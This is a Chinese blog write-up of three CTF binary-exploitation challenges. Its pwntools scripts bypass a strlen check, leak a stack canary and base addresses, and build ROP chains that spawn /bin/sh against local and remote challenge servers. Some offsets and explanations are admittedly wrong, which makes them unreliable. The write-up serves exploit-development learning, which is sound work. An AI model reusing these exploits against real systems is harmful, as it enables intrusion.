1846 words
9 minutes
ret2win,ret2libc的wp
2026-09-14

写在前面#

此为第一版,貌似错误挺多的,后面再修吧

omg电台炸了#

checksec

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有PIE,但是有canary,还是需要泄露

看main函数逻辑

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int8 v4; // [rsp+Fh] [rbp-A1h] BYREF
_QWORD v5[9]; // [rsp+10h] [rbp-A0h] BYREF
char v6; // [rsp+58h] [rbp-58h]
_QWORD v7[8]; // [rsp+60h] [rbp-50h] BYREF
void (*v8)(void); // [rsp+A0h] [rbp-10h]
memset(v7, 0, sizeof(v7));
v8 = (void (*)(void))show_status;
memset(v5, 0, sizeof(v5));
v6 = 0;
IO_setvbuf(stdin, 0, 2, 0);
IO_setvbuf(stdout, 0, 2, 0);
alarm(30);
IO_puts("=== Faulty Radio Hardware ===");
IO_puts("[hardware] Recovery controller online.");
IO_puts("[hardware] Send a length-prefixed encrypted repair message.");
IO_puts("Enter repair ciphertext:");
read_exact(&v4, 1);
if ( v4 && v4 <= 0x48u )
{
read_exact(v5, v4);
if ( (unsigned __int64)j_strlen(v5) <= 0x20 )
{
j___new_memcpy(v7, v5, v4);
v8();
}
else
{
IO_puts("[hardware] Repair cipher is too long.");
}
return 0;
}
else
{
IO_puts("[hardware] Invalid frame length.");
return 0;
}
}

依旧alarm,欸没有canary防护欸

复习一下

memcpy(v7, v5, v4); 是 C 标准库函数 memcpy 的调用,功能是:

从源地址 v5 开始,复制 v4 个字节到目标地址 v7。

也就是说,有两轮检查,第一轮检查v4的上界,第二轮检查v5的长度

常见指令长度示例(x86-64)

指令字节数机器码示例
ret1c3
push rbp155
pop rdi15f
pop rdi; ret25f c3
mov rbp, rsp348 89 e5
call rel325e8 xx xx xx xx
jmp rel325e9 xx xx xx xx
syscall20f 05

然后调用v8(指针),v8原本指向的是一个说明(show_status)

然后就是找后门环节

(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/omg电台出问题了/attachment$ strings -a -t x radio_relay | grep '/flag'
7e04a /flag

有后门

__int64 repair_complete()
{
_QWORD v1[16]; // [rsp+0h] [rbp-90h] BYREF
__int64 v2; // [rsp+80h] [rbp-10h]
int v3; // [rsp+8Ch] [rbp-4h]
memset(&v1[1], 0, 120);
v3 = _open("/flag", 0, 0);
if ( v3 < 0 )
{
IO_puts("[hardware] Repair completed, but the diagnostic record is unavailable.");
exit(1);
}
v2 = _libc_read((unsigned int)v3, v1, 127);
if ( v2 > 0 )
{
_libc_write(1, "[hardware] Repair completed: ", 29);
_libc_write(1, v1, v2);
}
return _libc_close((unsigned int)v3);
}

shift+F12,ctrl+F

那就是栈溢出+跳转,ret2win

目前来看,能操作的就是memcpy,你这样想,v7只有50h,v5可以被我控制,那不就可以造栈溢出了。

这个时候有人问了,v5不是有长度检查吗,你想鸡毛

唉我真得整理一篇检查绕后了

strlen(v5) 遇到第一个 \x00 就会停止计数,返回之前的长度。

也就是说,我们的打入数据一开始就放一个\00就可以绕过检查了

ok

exp

from pwn import *
p = remote('127.0.0.1', 65365)
# p = process('./radio_relay')
win_place = 0x40182A
payload = b'\x00' + b'A' * (64 - 1) + p64(win_place)
p.recvuntil(b'Enter repair ciphertext:')
p.send(bytes([len(payload)]))
p.send(payload)
p.interactive()

hard_overflow#

这个是25aurora的

checksec

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

PIE+NX+canary

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD buf[2]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
buf[0] = 0;
buf[1] = 0;
v5 = 0;
printf("Username: ");
read(0, buf, 0x80u);
printf("Hello, %s\n", (const char *)buf);
vuln();
return 0;
}

再看vuln

__int64 vuln()
{
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char dest[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Password: ");
read(0, buf, 0x80u);
printf("Repeat the password to ensure: %s\n", buf);
strcpy(dest, buf);
read(0, buf, 0x80u);
if ( strcmp(dest, buf) )
exit(-1);
return 1;
}

[rbp-8h]意味着v3是canary

看看汇编

0000000000001233 ; __unwind {
.text:0000000000001233 push rbp
.text:0000000000001234 mov rbp, rsp
.text:0000000000001237 sub rsp, 20h
.text:000000000000123B mov [rbp+var_18], rdi
.text:000000000000123F mov rax, fs:28h
.text:0000000000001248 mov [rbp+var_8], rax
.text:000000000000124C xor eax, eax
.text:000000000000124E mov edi, 20h ; ' ' ; size
.text:0000000000001253 call _malloc
.text:0000000000001258 mov [rbp+command], rax
.text:000000000000125C mov rax, [rbp+command]
.text:0000000000001260 mov rdx, 68732F6E69622Fh
.text:000000000000126A mov [rax], rdx
.text:000000000000126D mov rax, 1145141919810721h
.text:0000000000001277 cmp [rbp+var_18], rax
.text:000000000000127B jnz short loc_128B
.text:000000000000127D mov rax, [rbp+command]
.text:0000000000001281 mov rdi, rax ; command
.text:0000000000001284 call _system
.text:0000000000001289 jmp short loc_129A

可以看到,rdi传入给栈帧var_18,然后再鸡巴和神秘小数字比较(我操,恶俗啊)也就是说后门拿到shell的条件是要让rdi变成神秘小数字,也就是需要吧rdi弹出(pop_rdi),再给他赋值

这个时候有人就要问了,为什么不是通过入栈赋值呢你个唐

这就要讲到linux64调用参数规定了,前六个参数都是直接通过寄存器传递的

  • 第 1 个参数 → rdi
  • 第 2 个参数 → rsi
  • 第 3 个参数 → rdx
  • 第 4 个参数 → rcx
  • 第 5 个参数 → r8
  • 第 6 个参数 → r9

只有第 7 个及以后的参数才压栈

那要怎么操作呢

pop rdi; ret#

[pop_rdi 的地址] ← ret 会跳到这里
[0x1145141919810721] ← pop rdi 会把这个值弹到 rdi
[backdoor 的地址] ← pop rdi 后的 ret 会跳到这里

函数结束,ret跳转到pop_rdi,执行该操作,然后赋值给rdi,执行完的ret再跳转到后门,即可操作

What_s_this ?

text:0000000000001374 What_s_this proc near
.text:0000000000001374 ; __unwind {
.text:0000000000001374 pop rdi
.text:0000000000001375 pop rsi
.text:0000000000001376 retn
.text:0000000000001376 What_s_this endp ; sp-analysis failed
.text:0000000000001376
.text:0000000000001376 ; ---------------------------------------------------------------------------
.text:0000000000001377 db 2Bh dup(90h)
.text:0000000000001377 ; } // starts at 1374
.text:00000000000013A2

rdi也不缺了

那回到mian函数,我们需要构造栈溢出,对吧

你都printf我输入的buf那还说啥

canary再uesr’sname阶段就可以解决了

vuln的两个read都溢出,一个泄露真实地址,一个跳转,偏移通过未知数计算即可,读取一个赋值一个就好

先看canary泄露的操作

看栈帧开辟:

0x20-0x8=0x12,那么要先塞0x12才到canary的地址+“\x99” (canary最低字节恒为0x00)

那我们塞满他的话,程序就会一直打印知道null为止,显然我们的填充字节不会爆null,那么canary就一定会被泄露

但此时的canary不是完整的,需要

canary = b"\x00" + canary7

接着进入vuln,构造栈溢出,跟第一次一样

但是这次让printf一直打印到返回地址处,返回地址正好压入的是main的返回地址,那我们要填充多少字节呢

[rbp-50h]+ 0x8,因为返回地址永远在 rbp + 8

你再去查call里的返回地址偏移,汇编左边那个栏目,可以得到0x1429

得到0x1429之后就可以算base了

base=返回地址-0x1429

第三轮的ROP就不多赘述了

ok那大差不差了

exp(感谢leyi的馈赠)

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '/MAX', 'bash.exe', '-c']
p = process('./hardoverflow')
# p = gdb.debug('./hardoverflow')
# p = remote('node.szu.moe', 10390)
p.recvuntil(b'Username: ')
p.send(b'a'*0x19)
p.recvn(0x20)
canary = b'\x00' + p.recvn(7)
log.success('get canary --> ' + canary.hex())
p.recvuntil(b'Password: ')
p.send(b'a'*0x58)
p.recvn(0x77)
real_addr = u64(p.recvn(6).ljust(8, b'\x00'))
base_addr = real_addr - 0x1429
log.success('get elf_base --> ' + hex(base_addr))
p.recvline()
payload = flat(
b'a'*0x1f,
b'\x00',
b'a'*0x1f,
b'\x00',
b'a'*0x8,
canary,
b'a'*0x8,
base_addr + 0x1374,
0x1145141919810721,
0,
base_addr + 0x1233
)
p.send(payload)
p.interactive()

hard_libc#

checksec

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

只有NX

再看main

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("No gift for you this time! Say something\n");
putchar(62);
return read(0, buf, 0x100u);
}

很明显的栈溢出

What_s_this

text:0000000000401185 ; void What_s_this()
.text:0000000000401185 public What_s_this
.text:0000000000401185 What_s_this proc near
.text:0000000000401185 ; __unwind {
.text:0000000000401185 pop rdi
.text:0000000000401186 pop rsi
.text:0000000000401187 retn
.text:0000000000401187 What_s_this endp ; sp-analysis failed
.text:0000000000401187
.text:0000000000401187 ; ---------------------------------------------------------------------------
.text:0000000000401188 db 0Bh dup(90h)
.text:0000000000401188 ; } // starts at 401185
.text:0000000000401193

给rdi了

以及没有后门

那就只能去libc.so.6去找

Terminal window
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ readelf -s ./libc.so.6 | grep system
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ strings -a -t x ./libc.so.6 | grep '/bin/sh'
1d8678 /bin/sh

于是我什么都不缺了.jpg

攻击思路

由于只有一次调用,所以我们得泄露一次其真实地址(跳过ASLR),然后重新跑一遍跳转到system以及/bin/sh

额延迟绑定机制就不在这里教了

总之我们需要的是rdi,rsi放个0占位就好

exp

from pwn import *
elf = ELF('./hardlibc')
libc = ELF('./libc.so.6')
pop_rdi_pop_rsi = 0x401185
main_addr = elf.symbols['main']
ret = 0x401016
payload1 = b'a' * 40 + p64(pop_rdi_pop_rsi) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(main_addr)
p = remote("node.szu.moe", 10011)
# p = process('./hardlibc')
p.sendline(payload1)
leak = p.recvline().strip().ljust(8, b'\x00')
puts_addr = u64(leak)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * 40
payload2 += p64(ret)
payload2 += p64(pop_rdi_pop_rsi)
payload2 += p64(binsh_addr)
payload2 += p64(0)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
ret2win,ret2libc的wp
https://dxfaker.top/posts/26moe6/
Author
dxfaker
Published at
2026-09-14
License
CC BY-NC-SA 4.0

Some information may be outdated